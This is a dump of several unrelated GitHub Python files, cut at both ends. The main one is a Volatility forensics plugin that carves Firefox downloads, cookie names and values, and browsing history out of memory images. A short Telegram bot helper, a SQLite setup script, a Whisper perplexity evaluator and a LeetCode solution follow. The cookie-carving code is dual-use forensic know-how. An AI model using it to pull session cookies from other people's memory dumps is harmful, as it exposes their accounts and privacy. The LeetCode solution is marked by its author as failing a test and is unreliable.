1000000000000:\n continue\n start += currBytes_length\n\n maxBytes = ff_buff[start:start+maxBytes_length]\n maxBytes = sqlite_help.sql_unpack(maxBytes)\n # skip if negative or greater than 1TB\n if maxBytes < 0 or maxBytes > 1000000000000:\n continue\n start += maxBytes_length\n\n mimeType = ff_buff[start:start+mimeType_length]\n start += mimeType_length\n\n preferredApplication = ff_buff[start:start+preferredApplication_length]\n start += preferredApplication_length\n\n # these fields can have a value 0x8 or 0x9 in the length field\n # in that case, the \"data\" portion is not there, and the value is impled \n # to be 0 or 1, respectively\n if preferredAction_length > 0:\n preferredAction = ff_buff[start:start+preferredAction_length]\n preferredAction = sqlite_help.sql_unpack(preferredAction)\n start += preferredAction_length\n \n if autoResume_length > 0:\n autoResume = ff_buff[start:start+autoResume_length]\n autoResume = sqlite_help.sql_unpack(autoResume)\n start += autoResume_length\n\n # add all the fields to a tuple so we only print a unique record once\n downloads_tuple = (row_id, name, source, target, tempPath, startTime, endTime, state, referrer, entityID, currBytes, maxBytes, mimeType, preferredApplication, preferredAction, autoResume)\n if not downloads.get(downloads_tuple):\n downloads[downloads_tuple] = downloads.get(downloads_tuple, 0) + 1\n yield downloads_tuple\n\n def render_text(self, outfd, data):\n self.table_header(outfd, [(\"Row Id\", \"6\"), (\"Name\", \"32\"), (\"Source\", \"80\"), (\"Target\", \"60\"), (\"Temp Path\", \"32\"), (\"Start Time\", \"26\"), (\"End Time\", \"26\"), (\"State\", \"5\"), (\"Referrer\", \"60\"), (\"Entity ID\", \"9\"), (\"Current Bytes\", \"12\"), (\"Max Bytes\", \"12\"), (\"MIME Type\", \"20\"), (\"Prefer App\", \"16\"), (\"Prefer Action\", \"13\"), (\"Auto Resume\", \"11\")])\n for row_id, name, source, target, tempPath, startTime, endTime, state, referrer, entityID, currBytes, maxBytes, mimeType, preferredApplication, preferredAction, autoResume in data:\n self.table_row(outfd, row_id, name, source, target, tempPath, str(startTime), str(endTime), state, referrer, entityID, currBytes, maxBytes, mimeType, preferredApplication, preferredAction, autoResume)\n\n def render_csv(self, outfd, data):\n outfd.write('\"id\",\"name\",\"source\",\"target\",\"temp_path\",\"start_time\",\"end_time\",\"state\",\"referrer\",\"entity_id\",\"current_bytes\",\"max_bytes\",\"mime_type\",\"prefer_app\",\"prefer_action\",\"auto_resume\"\\n')\n for d in data:\n csv.writer(outfd,quoting=csv.QUOTE_ALL).writerow(d)\n\n def render_body(self, outfd, data):\n for row_id, name, source, target, tempPath, startTime, endTime, state, referrer, entityID, currBytes, maxBytes, mimeType, preferredApplication, preferredAction, autoResume in data:\n start = sqlite_help.unix_time(startTime)\n end = sqlite_help.unix_time(endTime)\n download = source + \" -> \" + target + \" (\" + str(maxBytes) + \" bytes)\"\n download = download.replace(\"|\", \"-\")\n d = (0, \"[FIREFOXDOWNLOADS] \" + download, 0, \"---------------\", 0, 0, 0, 0, end, 0, start)\n csv.writer(outfd,delimiter=\"|\",quoting=csv.QUOTE_NONE,escapechar=\"\\\\\").writerow(d)\n\n\n\nclass FirefoxCookies(common.AbstractWindowsCommand):\n \"\"\" Scans for and parses potential Firefox cookies (cookies.sqlite moz_cookies table\"\"\"\n\n def __init__(self, config, *args, **kwargs):\n common.AbstractWindowsCommand.__init__(self, config, *args, **kwargs)\n\n def calculate(self):\n address_space = utils.load_as(self._config, astype = 'physical')\n\n # definite values in Cookie records\n scanner = FirefoxScanner(needles = ['\\x04\\x06\\x06\\x08',\n '\\x04\\x06\\x06\\x09',\n '\\x05\\x06\\x06\\x08',\n '\\x05\\x06\\x06\\x09',\n ])\n cookies = {}\n for offset in scanner.scan(address_space):\n ff_buff = address_space.read(offset-16, 4200)\n start = 16\n if (ord(ff_buff[start+4]) in (8,9)):\n good = False\n \n # start before the needle match and work backwards to the first record payload length\n start -= 1\n (path_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n path_length = sqlite_help.varint_to_text_length(path_length)\n\n start -= varint_len\n (host_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n host_length = sqlite_help.varint_to_text_length(host_length)\n\n start -= varint_len\n (value_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n value_length = sqlite_help.varint_to_text_length(value_length)\n\n start -= varint_len\n (name_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n name_length = sqlite_help.varint_to_text_length(name_length)\n start -= varint_len\n\n # newer versions add appId and inBrowserElement, they are INTEGER type \n # so if they exist, they will both have length values less than 12\n inBrowserElement_length = 0\n inBrowserElement = \"n/a\"\n appId_length = 0\n appId = \"n/a\"\n # if they don't exist, the previous value is a var int and could be something\n # like 0x81 0x10, so wee need to check both bytes\n if 0 < ord(ff_buff[start]) < 12 and 0 < ord(ff_buff[start-1]) < 12:\n (inBrowserElement_length, inBrowserElement) = sqlite_help.varint_type_to_length(ord(ff_buff[start]))\n (appId_length, appId) = sqlite_help.varint_type_to_length(ord(ff_buff[start-1]))\n start -= 2\n\n (baseDomain_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n baseDomain_length = sqlite_help.varint_to_text_length(baseDomain_length)\n\n start -= varint_len\n (cookie_id_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n\n start -= varint_len\n (payload_header_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n\n start -= varint_len\n (row_id, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n\n start -= varint_len\n (payload_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n\n # start of record reached, so jump back to the needle, then work forward\n start = 16\n\n (expiry_length, expiry) = sqlite_help.varint_type_to_length(ord(ff_buff[start]))\n (lastAccessed_length, lastAccessed) = sqlite_help.varint_type_to_length(ord(ff_buff[start+1]))\n (creationTime_length, creationTime) = sqlite_help.varint_type_to_length(ord(ff_buff[start+2]))\n (isSecure_length, isSecure) = sqlite_help.varint_type_to_length(ord(ff_buff[start+3]))\n (isHttpOnly_length, isHttpOnly) = sqlite_help.varint_type_to_length(ord(ff_buff[start+4]))\n\n start += 5\n\n cookie_id = ff_buff[start:start+cookie_id_length]\n cookie_id = sqlite_help.sql_unpack(cookie_id)\n\n baseDomain = ff_buff[start:start+baseDomain_length]\n start += baseDomain_length\n\n # if the length is > 0, it will need to be set\n # if it == 0, it was already set in the call earlier\n # otherwise, the value should be \"n/a\" from initialization because it's an older version\n if inBrowserElement_length > 0:\n inBrowserElement = ff_buff[start:start+inBrowserElement_length]\n inBrowserElement = sqlite_help.sql_unpack(inBrowserElement)\n start += inBrowserElement_length\n \n if appId_length > 0:\n appID = ff_buff[start:start+appId_length]\n appId = sqlite_help.sql_unpack(appId)\n start += appId_length\n\n name = ff_buff[start:start+name_length]\n start += name_length\n\n value = ff_buff[start:start+value_length]\n start += value_length\n\n host = ff_buff[start:start+host_length]\n start += host_length\n\n path = ff_buff[start:start+path_length]\n start += path_length\n\n # get the 3 time fields and do a check that a valid date is returned\n expiry = ff_buff[start:start+expiry_length]\n expiry = sqlite_help.sql_unpack(expiry)\n if expiry > 0 and expiry:\n expiry = sqlite_help.get_nixtime_from_sec(expiry)\n if type(expiry) is not datetime:\n continue\n start += expiry_length\n\n lastAccessed = ff_buff[start:start+lastAccessed_length]\n lastAccessed = sqlite_help.sql_unpack(lastAccessed)\n if lastAccessed > 0 and lastAccessed:\n lastAccessed = sqlite_help.get_nixtime_from_msec(lastAccessed)\n if type(lastAccessed) is not datetime:\n continue\n start += lastAccessed_length\n\n creationTime = ff_buff[start:start+creationTime_length]\n creationTime = sqlite_help.sql_unpack(creationTime)\n if creationTime > 0 and creationTime:\n creationTime = sqlite_help.get_nixtime_from_msec(creationTime)\n if type(creationTime) is not datetime:\n continue\n start += creationTime_length\n\n # if all 3 dates are 1970, it's likely a garbage record, so skip\n # if any of them are real dates, it could be an old or partially overwritten record, so print\n if expiry.year == 1970 and lastAccessed.year == 1970 and creationTime.year ==1970:\n continue\n\n if isSecure_length > 0:\n isSecure = ff_buff[start:start+isSecure_length]\n isSecure = sqlite_help.sql_unpack(isSecure)\n start += isSecure_length\n \n if isHttpOnly_length > 0:\n isHttpOnly = ff_buff[start:start+isHttpOnly_length]\n isHttpOnly = sqlite_help.sql_unpack(isHttpOnly)\n start += isHttpOnly_length\n \n # add all fields to the tuple so we only print unique records once\n cookie_tuple = (row_id, baseDomain, appId, inBrowserElement, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly)\n if not cookies.get(cookie_tuple):\n cookies[cookie_tuple] = cookies.get(cookie_tuple, 0) + 1\n yield cookie_tuple\n\n def render_text(self, outfd, data):\n self.table_header(outfd, [(\"Row ID\", \"6\"), (\"Base Domain\", \"28\"), (\"App Id\",\"6\"), (\"InBrowserElement\", \"16\"), (\"Name\", \"24\"), (\"Value\", \"32\"), (\"Host\", \"32\"), (\"Path\", \"32\"), (\"Expiry\", \"20\"), (\"Last Accessed\", \"26\"), (\"Creation Time\", \"26\"), (\"Secure\", \"6\"), (\"HttpOnly\", \"6\")])\n for row_id, baseDomain, appId, inBrowserElement, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly in data:\n self.table_row(outfd, row_id, baseDomain, appId, inBrowserElement, name, value, host, path, str(expiry), str(lastAccessed), str(creationTime), isSecure, isHttpOnly)\n\n def render_csv(self, outfd, data):\n outfd.write('\"id\",\"base_domain\",\"app_id\",\"inbrowserelement\",\"name\",\"value\",\"host\",\"path\",\"expiry\",\"last_accessed\",\"creation_time\",\"secure\",\"httponly\"\\n')\n for d in data:\n csv.writer(outfd,quoting=csv.QUOTE_ALL).writerow(d)\n\n def render_body(self, outfd, data):\n for row_id, baseDomain, appId, inBrowserElement, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly in data:\n start = sqlite_help.unix_time(creationTime)\n end = sqlite_help.unix_time(lastAccessed)\n cookie = host + \" \" + path + \" \" + name + \" = \" + value\n cookie = cookie.replace(\"|\", \"-\")\n d = (0, \"[FIREFOXCOOKIES] \" + cookie, 0, \"---------------\", 0, 0, 0, 0, end, 0, start)\n csv.writer(outfd,delimiter=\"|\",quoting=csv.QUOTE_NONE,escapechar=\"\\\\\").writerow(d)\n\n\n\nclass FirefoxHistory(common.AbstractWindowsCommand):\n \"\"\" Scans for and parses potential Firefox url history (places.sqlite moz_places table)\"\"\"\n\n def __init__(self, config, *args, **kwargs):\n common.AbstractWindowsCommand.__init__(self, config, *args, **kwargs)\n\n def calculate(self):\n address_space = utils.load_as(self._config, astype = 'physical')\n\n # definite values in History records\n scanner = FirefoxScanner(needles = ['\\x06\\x25',\n '\\x00\\x25',\n ])\n urls = {}\n for offset in scanner.scan(address_space):\n ff_buff = address_space.read(offset-21, 3000)\n start = 21\n # new field foreign_count added around Firefox v34\n foreign_count_length = 0\n foreign_count = \"N/A\"\n\n # start before the needle match and work backwards\n if ord(ff_buff[start-1]) in (1, 2, 8, 9):\n start -= 1\n (frecency_length, frecency) = sqlite_help.varint_type_to_length(ord(ff_buff[start]))\n else:\n continue\n\n if ord(ff_buff[start-1]) in (0, 1, 8, 9):\n start -= 1\n (favicon_id_length, favicon_id) = sqlite_help.varint_type_to_length(ord(ff_buff[start]))\n else:\n continue\n\n if ord(ff_buff[start-1]) not in (8, 9):\n continue\n start -= 1\n (typed_length, typed) = sqlite_help.varint_type_to_length(ord(ff_buff[start]))\n\n if ord(ff_buff[start-1]) not in (8, 9):\n continue\n start -= 1\n (hidden_length, hidden) = sqlite_help.varint_type_to_length(ord(ff_buff[start]))\n\n if ord(ff_buff[start-1]) in (1, 8, 9):\n start -= 1\n (visit_count_length, visit_count) = sqlite_help.varint_type_to_length(ord(ff_buff[start]))\n else:\n continue\n\n start -= 1\n (rev_host_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n rev_host_length = sqlite_help.varint_to_text_length(rev_host_length)\n\n start -= varint_len\n (title_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n title_length = sqlite_help.varint_to_text_length(title_length)\n \n start -= varint_len\n (url_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n url_length = sqlite_help.varint_to_text_length(url_length)\n \n start -= varint_len\n url_id_length = ord(ff_buff[start])\n\n start -= 1\n payload_header_length = ord(ff_buff[start])\n payload_header_end = start + payload_header_length\n\n start -= 1\n (row_id, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n # can't have a negative row_id (index)\n if row_id < 0:\n continue\n\n start -= varint_len\n if start < 0:\n continue\n (payload_length, varint_len) = sqlite_help.find_varint(ff_buff, start, BACKWARD)\n\n # payload_length should be much longer than this, but this is a safe minimum\n if payload_length < 6:\n continue\n\n # go back to the needle match and start processing forward\n (last_visit_date_length, last_visit_date) = sqlite_help.varint_type_to_length(ord(ff_buff[21]))\n (guid_length, varint_len) = sqlite_help.find_varint(ff_buff, 22, FORWARD)\n guid_length = sqlite_help.varint_to_text_length(guid_length)\n start = 22 + varint_len\n\n # Firefox added a \"foreign_count\" field that needs to be handled\n if start != payload_header_end:\n (foreign_count_length, foreign_count) = sqlite_help.varint_type_to_length(ord(ff_buff[start]))\n start += 1\n\n url_id = sqlite_help.sql_unpack(ff_buff[start:start+url_id_length])\n\n start += url_id_length\n url = ff_buff[start:start+url_length]\n\n start += url_length\n title = ff_buff[start:start+title_length]\n\n start += title_length\n rev_host = ff_buff[start:start+rev_host_length]\n\n start += rev_host_length\n if visit_count_length > 0:\n visit_count = sqlite_help.sql_unpack(ff_buff[start:start+visit_count_length])\n\n start += visit_count_length\n if hidden_length > 0:\n hidden = sqlite_help.sql_unpack(ff_buff[start:start+hidden_length])\n\n start += hidden_length\n if typed_length > 0:\n typed = sqlite_help.sql_unpack(ff_buff[start:start+typed_length])\n\n start += typed_length\n favicon_id = \"\"\n if favicon_id_length > 0:\n favicon_id = sqlite_help.sql_unpack(ff_buff[start:start+favicon_id_length])\n\n start += favicon_id_length\n if frecency_length > 0:\n frecency = sqlite_help.sql_unpack(ff_buff[start:start+frecency_length])\n\n # extract the time, unpack it to an integer, convert microseconds to string\n start += frecency_length\n last_visit_date = ff_buff[start:start+last_visit_date_length]\n last_visit_date = sqlite_help.sql_unpack(last_visit_date)\n if last_visit_date_length == 8 and last_visit_date < 0:\n continue\n if last_visit_date > 1 and last_visit_date:\n last_visit_date = sqlite_help.get_nixtime_from_msec(last_visit_date)\n if last_visit_date_length == 8 and type(last_visit_date) is datetime and last_visit_date.year == 1970:\n continue\n\n start += last_visit_date_length\n guid = ff_buff[start:start+guid_length]\n\n start += guid_length\n if foreign_count_length > 0:\n foreign_count = sqlite_help.sql_unpack(ff_buff[start:start+foreign_count_length])\n start += foreign_count_length\n\n # save the values as a tuple in a dictionary so we only print one unique row\n url_tuple = (row_id, url, title, rev_host, visit_count, hidden, typed, favicon_id, frecency, last_visit_date, guid, foreign_count) \n if not urls.get(url_tuple):\n urls[url_tuple] = urls.get(url_tuple, 0) + 1\n yield url_tuple\n\n def render_text(self, outfd, data):\n self.table_header(outfd, [(\"ID\", \"6\"), (\"URL\", \"80\"), (\"Title\", \"80\"), (\"Rev Host\", \"32\"), (\"Visits\", \"6\"), (\"Hidden\", \"6\"), (\"Typed\", \"5\"), (\"Favicon ID\", \"10\"), (\"Frecency\", \"8\"), (\"Last Visit Date\", \"26\"), (\"GUID\", \"12\"),(\"FOREIGN COUNT\",\"13\")])\n for row_id, url, title, rev_host, visit_count, hidden, typed, favicon_id, frecency, last_visit_date, guid, foreign_count in data:\n self.table_row(outfd, row_id, url, title, rev_host, visit_count, hidden, typed, favicon_id, frecency, str(last_visit_date), guid, foreign_count)\n\n def render_csv(self, outfd, data):\n outfd.write('\"id\",\"url\",\"title\",\"rev_host\",\"visit_count\",\"hidden\",\"typed\",\"favicon_id\",\"frecency\",\"last_visit_date\",\"guid\",\"foreign_count\"\\n')\n for d in data:\n csv.writer(outfd,quoting=csv.QUOTE_ALL).writerow(d)\n\n def render_body(self, outfd, data):\n for row_id, url, title, rev_host, visit_count, hidden, typed, favicon_id, frecency, last_visit_date, guid in data:\n if type(last_visit_date) is str:\n end = 0\n else:\n end = sqlite_help.unix_time(last_visit_date)\n history = url + \" -- \" + title\n history = history.replace(\"|\", \"-\")\n d = (0, \"[FIREFOXHISTORY] \" + history, 0, \"---------------\", 0, 0, 0, 0, end, 0, 0)\n csv.writer(outfd,delimiter=\"|\",quoting=csv.QUOTE_NONE,escapechar=\"\\\\\").writerow(d)\n","repo_name":"volatilityfoundation/community","sub_path":"DaveLasalle/firefoxhistory.py","file_name":"firefoxhistory.py","file_ext":"py","file_size_in_byte":27780,"program_lang":"python","lang":"en","doc_type":"code","stars":331,"dataset":"github-code","pt":"37"} +{"seq_id":"11972359610","text":"import asyncio\nimport urllib.request\nimport requests\nfrom config import Config\n\nMAIN_URL = \"https://api.telegram.org/\"\nTOKEN = Config.BOT_TOKEN\n\ndef message(update,context,text = \"\"):\n bot = context.bot\n chat = update.effective_chat.id\n msg = bot.send_message(chat,text,parse_mode='HTML')\n return msg\n\ndef messageMarkdown(update,context, text= \"\"):\n bot = context.bot\n chat = update.effective_chat.id\n msg = bot.send_message(chat,text,parse_mode='MarkdownV2')\n return msg\n\ndef messageWithId(update,context,chat,text = \"\"):\n bot = context.bot\n msg = bot.send_message(chat,text,parse_mode='HTML')\n return msg\n\ndef reply_message(update,context,text = \"\"):\n msg = update.message.reply_text(text,parse_mode='HTML')\n return msg\n\ndef PrivateMessage(update,context, text = \"\"):\n bot = context.bot\n msg = bot.send_message(update.message.from_user.id,text,parse_mode='HTML')\n return msg\n\ndef messagePhoto(update, context, img, desc = ''):\n bot = context.bot\n photo = bot.sendPhoto(chat_id=update.effective_chat.id, photo=img, caption=desc, parse_mode='HTML')\n return photo\n\ndef ApiMessage(text, chat_id):\n text = urllib.parse.quote_plus(text)\n url = MAIN_URL + \"bot{}/sendmessage?chat_id={}&text={}&parse_mode=HTML\".format(TOKEN, chat_id, text)\n send = requests.get(url)\n return send\n\nasync def messageWithAsync(update,context,delay,text = \"\"):\n bot = context.bot\n chat = update.effective_chat.id\n await asyncio.sleep(delay)\n msg = bot.send_message(chat,text,parse_mode='HTML')\n return msg\n\nasync def messageWithAsyncById(update,context,chat,delay,text = \"\"):\n bot = context.bot\n await asyncio.sleep(delay)\n msg = bot.send_message(chat,text,parse_mode='HTML')\n return msg","repo_name":"StormDev87/nebula8","sub_path":"core/utilities/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"4199381408","text":"import sqlite3\nDB_STUDENT = \"D:\\\\Project\\\\Radicali\\\\py_api_assignment\\\\.data\\\\EQUIPMENTS.db\"\n\ndef get_db():\n conn = sqlite3.connect(DB_STUDENT)\n return conn\n\n\ndef create_tables():\n tables = [\n \"\"\"CREATE TABLE IF NOT EXISTS EQUIPMENTS(\n ID INTEGER PRIMARY KEY AUTOINCREMENT,\n NAME TEXT NOT NULL,\n\t\t\t\tSTATUS TEXT NOT NULL,\n REQUEST TEXT\n )\n \"\"\"\n ]\n db = get_db()\n cursor = db.cursor()\n for table in tables:\n cursor.execute(table)\n\n","repo_name":"bakharia/py_api_assignment","sub_path":"create_db.py","file_name":"create_db.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72107085548","text":"import os, sys\n\nsys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\nfrom typing import Optional, List\nfrom functools import partial\n\nimport torch\nfrom torch.utils.data import DataLoader\n\nimport pandas as pd\nfrom tqdm.auto import tqdm\n\nfrom transformers.models.whisper import (WhisperTokenizer,\n WhisperTokenizerFast,\n WhisperFeatureExtractor)\nfrom optimum.bettertransformer import BetterTransformer\n\nfrom dataloader.dataset_for_evaluation.base_dataset_group import BaseDatasetGroup\nfrom dataloader.collator import DataCollatorSpeechSeq2SeqWithPadding\nfrom dataloader.preprocessing_train.preprocessing import prepare_dataset_fct\nfrom models.whisper_zero_cross_attention import WhisperForConditionalGenerationZeroCrossAttention\nfrom utils.constants import DEFAULT_LABEL_TOKENIZED_COL, DEFAULT_EVAL_BATCH_SIZE, DEFAULT_NUM_PROC\n\n\ndef eval_whisper_implicit_lm_on_dataset_group(pretrained_model_name_or_path: str,\n ds_group: BaseDatasetGroup,\n batch_size: int = DEFAULT_EVAL_BATCH_SIZE, # only 1 is supported for now\n fast_tokenizer: bool = True,\n task: str=\"transcribe\",\n zero_shot: bool = False) -> pd.Series:\n \n if ds_group.is_multilingual:\n assert ds_group.language is None, \"Language must be `None` for multilingual datasets as it is inferred from the BaseDatasetGroup's metadata.\"\n \n if torch.cuda.is_available():\n device = \"cuda:0\"\n torch_dtype = torch.float16 # see https://huggingface.co/learn/audio-course/chapter5/evaluation?fw=pt\n elif torch.backends.mps.is_available(): # for Apple Silicon\n device = torch.device('mps')\n torch_dtype = torch.float32 # float16 not supported by MPS\n else:\n device = \"cpu\"\n torch_dtype = torch.float32\n\n # Load model:\n model = WhisperForConditionalGenerationZeroCrossAttention.from_pretrained(pretrained_model_name_or_path, torch_dtype=torch_dtype).to(device)\n \n if device == \"cuda:0\":\n model = BetterTransformer.transform(model)\n\n # Loop over the datasets:\n ppl_results = []\n tbar = tqdm(ds_group.items())\n \n for dataset_name, dataset in tbar:\n tbar.set_description(f\"Evaluating {dataset_name}...\")\n \n if not ds_group.is_multilingual:\n language = ds_group.language\n else:\n language = ds_group.ds_name_to_lang[dataset_name]\n \n if zero_shot:\n language = None\n task = None\n\n if fast_tokenizer:\n tokenizer = WhisperTokenizerFast.from_pretrained(pretrained_model_name_or_path, language=language, task=task)\n else:\n tokenizer = WhisperTokenizer.from_pretrained(pretrained_model_name_or_path, language=language, task=task)\n \n feature_extractor = WhisperFeatureExtractor.from_pretrained(pretrained_model_name_or_path)\n \n prepare_dataset = partial(prepare_dataset_fct,\n tokenizer=tokenizer,\n feature_extractor=feature_extractor)\n dataset = dataset.map(prepare_dataset, num_proc=DEFAULT_NUM_PROC)\n\n # Load data collator:\n data_collator = DataCollatorSpeechSeq2SeqWithPadding(tokenizer=tokenizer,\n feature_extractor=feature_extractor,\n return_attention_mask=True)\n\n dataloader = DataLoader(dataset, batch_size=batch_size, collate_fn=data_collator)\n\n # Placeholders for per-batch perplexities:\n ppl_per_batch: List[torch.Tensor] = []\n \n for batch in dataloader:\n # Note that we need to move the data to the device manually (which is not the case with Trainer):\n input_features = batch[\"input_features\"].to(device).to(torch_dtype)\n attention_mask = batch[\"attention_mask\"].to(device)\n tokenized_seq = batch[DEFAULT_LABEL_TOKENIZED_COL].to(device)\n\n if not zero_shot:\n tokenized_seq = concat_special_tokens(tokenized_seq,\n pretrained_model_name_or_path,\n language=language,\n task=task)\n attention_mask_prefix = torch.Tensor([1, 1, 1, 1]).expand(attention_mask.shape[0], -1).to(attention_mask.device)\n attention_mask = torch.cat([attention_mask_prefix, attention_mask[:, 2:]], dim=1)\n\n # Shift inputs for next-word prediction:\n decoder_input_ids = tokenized_seq[:, 1:] # [w1, w2, ..., wN, EOT]\n decoder_input_ids_right_shifted = tokenized_seq[:, :-1] # [SOT, w1, w2, ..., wN]\n attention_mask_right_shifted = attention_mask[:, :-1]\n\n # One-step generation:\n with torch.no_grad():\n output = model.forward(input_features=input_features,\n decoder_input_ids=decoder_input_ids_right_shifted,\n attention_mask=attention_mask_right_shifted)\n \n # Convert logits to log-probabilities:\n log_prob_all = torch.nn.functional.log_softmax(output.logits, dim=-1) # (batch_size, seq_len, vocab_size)\n\n # Take probabilities for the ground-truth tokens:\n log_prob_tokens = log_prob_all.take_along_dim(decoder_input_ids[..., None], dim=-1).squeeze(dim=-1) # (batch_size, seq_len)\n\n # FIXME: The current implementation predicts is not correct as EOT will be discarded only for the longest sequence in the batch.\n # For the other sequences, the prediction for the EOT token will be taken into account in the perplexity computation.\n # We hypothesize that this is negligible as a well-trained model should predict that EOT follows EOT with a very high probability.\n \n # All the values associated to the pad tokens will be set to 0 in order to ignore them when we will sum.\n log_prob_seq = log_prob_tokens.masked_fill(attention_mask_right_shifted.eq(0), 0).sum(dim=-1) # (batch_size,)\n mean_log_prob_seq = log_prob_seq / attention_mask_right_shifted.sum(dim=-1) # (batch_size,)\n \n # Compute perplexity:\n perplexity = torch.exp(-mean_log_prob_seq) # (batch_size,)\n \n # Add to the list of perplexities:\n ppl_per_batch.append(perplexity)\n \n # Add to the list of perplexities:\n ppl_current_dataset = torch.cat(ppl_per_batch, dim=0).mean().item()\n ppl_results.append(ppl_current_dataset)\n \n # Save the results:\n results = pd.Series(ppl_results, index=list(ds_group.keys()), name=\"Perplexity\")\n results.index.name = \"Dataset\"\n \n # Compute the average WER:\n results[\"Average\"] = results.mean()\n \n # Round the results:\n results = results.round(2)\n \n return results\n\n\ndef concat_special_tokens(x: torch.Tensor,\n pretrained_model_name_or_path: str,\n language: Optional[str] = None,\n task: Optional[str] = None) -> torch.Tensor:\n \"\"\"\n Concatenate the language and task special tokens to the tokenized labels (batched).\n Important: We assumed that all token sequences begin with `, `.\n \"\"\"\n tokenizer = WhisperTokenizer.from_pretrained(pretrained_model_name_or_path, language=language, task=task)\n special_tokens = torch.LongTensor([tokenizer(\"\").input_ids[:4]]).expand(x.shape[0], -1).to(x.device)\n x = torch.cat([special_tokens, x[:, 2:]], dim=1)\n return x\n","repo_name":"tonywu71/distilling-and-forgetting-in-large-pre-trained-models","sub_path":"evaluation/eval_whisper_implicit_lm_on_dataset.py","file_name":"eval_whisper_implicit_lm_on_dataset.py","file_ext":"py","file_size_in_byte":7992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22525972047","text":"class Solution:\n def isInterleave(self, s1: str, s2: str, s3: str) -> bool:\n print(f\"s1:{s1}, s2:{s2}, s3:{s3}\")\n\n if not s1 and not s2:\n if s3:\n return False\n return True\n \n if s1+s2 == s3:\n return True\n \n if not s2 and s1 != s3:\n return False\n elif not s1 and s2 != s3:\n return False\n\n if len(s1) + len(s2) != len(s3):\n return False\n\n memo = [[0 for _ in range(len(s1))] for _ in range(len(s2))]\n\n print(\"initial memo\")\n for row in memo:\n print(row)\n\n # if not memo:\n # return False\n\n for r in range(len(memo)): # along s2 (rows)\n for c in range(len(memo[0])): # along s1 (cols)\n print(f\"--- r:{r}, c:{c}\")\n\n # if c > len(s3)-1 or r > len(s3)-1:\n # return False\n\n #print(f\"s1[c]:{s1[c]}, s2[r]:{s2[r]}\")\n\n \"\"\"\n abaa\n a a\n a [1, 1]\n b [0, 0]\n\n r=1, c=0\n s1[0] s3[0]\n \"\"\"\n\n if r==c==0:\n memo[r][c] = 1 # if both str empty, then output should be true\n elif r==0 and c>0 and s2[c-1]==s3[c-1] and memo[r][c-1]==1: \n #print(f\"elif reached: s1[c]:{s1[c]}, s2[r]:{s2[r]}\")\n memo[r][c] = memo[r][c-1] # 0, 1\n print(\"A\")\n elif r>0 and c==0 and s1[r-1]==s3[r-1] and memo[r-1][c]==1:\n memo[r][c] = memo[r-1][c]\n print(\"B\")\n elif r!=0 and c!=0 and s1[r-1]==s3[r+c-1] and memo[r-1][c]==1:\n memo[r][c] = memo[r-1][c]\n print(\"C\")\n elif r!=0 and c!=0 and s2[c-1]==s3[r+c-1] and memo[r][c-1]==1:\n memo[r][c] = memo[r][c-1]\n print(\"D\")\n else:\n memo[r][c] = 0\n print(\"E\")\n\n for row in memo:\n print(row)\n\n # print(\"memo after for loop\")\n # for row in memo:\n # print(row)\n\n return memo[-1][-1] == 1\n \n def test1(self):\n s1 = \"aabcc\"\n s2 = \"dbbca\"\n s3 = \"aadbbcbcac\"\n res = self.isInterleave(s1, s2, s3)\n # expected True\n print(\"res: \", res)\n \n def test2(self):\n s1 = \"aabcc\"\n s2 = \"dbbca\"\n s3 = \"aadbbbaccc\"\n res = self.isInterleave(s1, s2, s3)\n # expected False\n print(\"res: \", res)\n \n def test3(self):\n s1 = \"\"\n s2 = \"\"\n s3 = \"\"\n res = self.isInterleave(s1, s2, s3)\n # expected True\n print(\"res: \", res)\n\n def test4(self):\n s1 = \"\"\n s2 = \"\"\n s3 = \"a\"\n res = self.isInterleave(s1, s2, s3)\n # expected False\n print(\"res: \", res)\n \n def test5(self):\n s1 = \"\"\n s2 = \"a\"\n s3 = \"a\"\n res = self.isInterleave(s1, s2, s3)\n # expected True\n print(\"res: \", res)\n\n def test6(self):\n s1 = \"a\"\n s2 = \"\"\n s3 = \"c\"\n res = self.isInterleave(s1, s2, s3)\n # expected False\n print(\"res: \", res)\n\n def test7(self):\n s1 = \"a\"\n s2 = \"b\"\n s3 = \"a\"\n res = self.isInterleave(s1, s2, s3)\n # expected False\n print(\"res: \", res)\n \n def test8(self):\n s1 = \"db\"\n s2 = \"b\"\n s3 = \"cbb\"\n res = self.isInterleave(s1, s2, s3)\n # expected False\n print(\"res: \", res)\n \n def test9(self): # Fails (TODO)\n s1 = \"aa\"\n s2 = \"ab\"\n s3 = \"abaa\"\n res = self.isInterleave(s1, s2, s3)\n # expected True\n print(\"res: \", res)\n\ns = Solution()\n# s.test1()\n# s.test2()\n# s.test3()\n# s.test4()\n# s.test5()\n# s.test6()\n# s.test7()\n# s.test8()\ns.test9()","repo_name":"mcxu/code-sandbox","sub_path":"PythonSandbox/src/leetcode/lc97_interleaving_string.py","file_name":"lc97_interleaving_string.py","file_ext":"py","file_size_in_byte":3980,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"38344274949","text":"import 